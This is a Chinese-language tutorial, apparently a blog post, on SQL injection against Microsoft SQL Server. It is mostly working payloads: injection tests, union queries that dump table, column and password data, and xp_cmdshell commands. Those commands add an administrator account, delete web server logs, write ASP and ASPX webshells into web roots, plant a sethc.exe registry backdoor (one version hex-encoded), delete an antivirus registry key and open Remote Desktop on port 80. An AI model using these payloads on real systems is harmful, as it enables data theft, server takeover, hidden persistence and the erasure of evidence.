SQL注入-Sqlserver
title: SQL注入- Sqlserver
tags: SQL注入
abbrlink: e1f1921e
date: 2022-07-29 11:03:39
Sqlserver 介绍
美国Microsoft公司推出的一种关系型数据库系统。SQLServer是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统方案。
其主要特点如下:
(1)高性能设计,可充分利用WindowsNT的优势
(2)系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置。
(3)强壮的事务处理功能,采用各种方法保证数据的完整性。
(4)支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。 SQLServer以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台。
常用语句
- 说明:创建数据库
CREATE DATABASE database-name
- 说明:删除数据库
drop database dbname
- 查询所有:
Select * from 表名 select * from Student
mssql数据库权限
- sa权限:数据库操作,文件管理,命令执行,注册表读取等 system
- db权限:文件管理,数据库操作等 users-adminstrators
- public权限:数据库操作 guest-users
调用数据库代码
<%
set conn =server.createobject("adodb.connection")
conn.open
"provider=sqloledb;source=local;uid=sa;pwd=123123;database=database-name"
%>
其中,provider后面的不用管,照写;source后面的可以是ip地址,这里我用的是本地的;sa是内置的
用户,它的密码是你在安装的时候设置的;database后面是你要连接的数据库的名称,例:mydatabase
(不需扩展名)。
SqlServer注入利用
漏洞挖掘
漏洞出现的位置
手工挖掘:
有参数传递
有数据库交互
我们可以控制工具扫描
Awvs、burp、appscan判断语句
判断是否有注入
and 1=1 and 1=2 / -0
判断注入的方法是一样的
初步判断是否是mssql
and user>0
判断数据库系统
and (select count(*) from sysobjects)>0 mssql and (select count(*) from msysobjects)>0 access
注入参数是字符
'and [查询条件] and ''='
搜索时没过滤参数的
'and [查询条件] and '%25'='
猜数表名
and (select Count(*) from [表名])>0
猜字段
and (select Count(字段名) from 表名)>0
猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
union 联合查询
顺便查下版本和数据库名
union select null,@@version,db_name(),null,null
如果要查其他数据库的表名还可以这样:
union select null,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),null,null
union 列表名
- 继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
- 第一个表名
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
- 第二个表名
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null
union 列列名
- 继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
- 第一个列名
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
- 第二个列名
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null
- 第三个列名
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='password'))),null
列数据
http://192.168.0.240:8005/?id=1 union select null,username,password from password where username not in (select top 0 username from password)
SqlServer不同权限利用
- 用户所处权限分析:
sa权限 dbo public
权限判断语句
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限
and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
Sa权限的利用
- 注入用户密码
- 修改网站管理员密码
- 直接getshell
- 调用系统命令
创建系统管理员
操控文件
操控日志文件
getshell - 创建sqlserver管理
- 系统服务操作
- 注册表操作
创建后门
开启3389
SQLserver中的存储过程
sp_addlogin 创建新的SQL server登录,该登录运行用户使用SQL server身份验证连接到SQL server实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表
xp_regwrite未被公布的存储过程,,写入注册表
xp_regread读取注册表
xp_regdeletevalue删除注册表
xp_dirtree读取目录
sp_password更改密码
xp_servicecontrol停止或激活某服务
修改网站管理员密码
;update admin set pass=‘e8dc763194f29433’ where admin=‘test’
将管理员表admin中admin用户的密码设置为e8dc763194f29433
修改之前把原来密码备份
通常在密码解不出的情况下选择使用该方法
直接getshell
修复上传
;EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
;exec sp_configure 'Web Assistant Procedures', 1;
RECONFIGURE
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27C:\Inetpub\wwwroot\8005\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--
调用系统命令xp_cmdshell
检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')
判断xp_regread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
恢复
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
Xp_cmdshell执行命令
新建用户
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
操控日志
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log '
Getshell
echo ^<%Execute(request("a"))%^> > d:\www\123.asp
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--
操作注册表
删除注册表
reg delete HKLM\SOFTWARE\McAfee /f
导入注册表
Regedit /s d:\web\zh\hp.reg
导出注册表
regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"
创建sqlserver管理
- 添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password exec master.dbo.sp_addsrvrolemember test,sysadmin
系统服务操作
- 停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol 'stop','schedule' exec master..xp_servicecontrol 'start','schedule'
注册表操作
- 启用存储过程
exec sp_addextendedproc xp_regread,'xpstar.dll'
;exec master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00—
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
写入注册表
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_SZ','c:\windows\system32\cmd.exe'
xp_regwrite 根键,子键, 值名, 值类型, 值
* 写入shift后门
exec xp_regwrite
0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:\windows\system32\taskmgr.exe'–
## 开启3389
;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'
//允许外部连接
;exec master..xp_cmdshell 'reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 0x50 /f' //改端口到80
开启3389
;exec master..xp_cmdshell “wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1”–
## dbowner权限利用
1. 判断数据库用户权限
and 1=(select is_member('db_owner'));–
2. 搜索web目录
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));–
然后
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1–
由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹
and(select dir from temp where id=1)>0
## getshell
* 找到web目录后,就可以写入一句话木马了
;alter database ssdown5 set RECOVERY FULL
;create table test(str image)–
;backup log ssdown5 to disk='c:\test' with init–
;insert into test(str)values ('<%excute(request("cmd"))%>')–
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'–
;alter database ssdown5 set RECOVERY simple
# SqlServer 工具使用
穿山甲、萝卜头、sqlmap等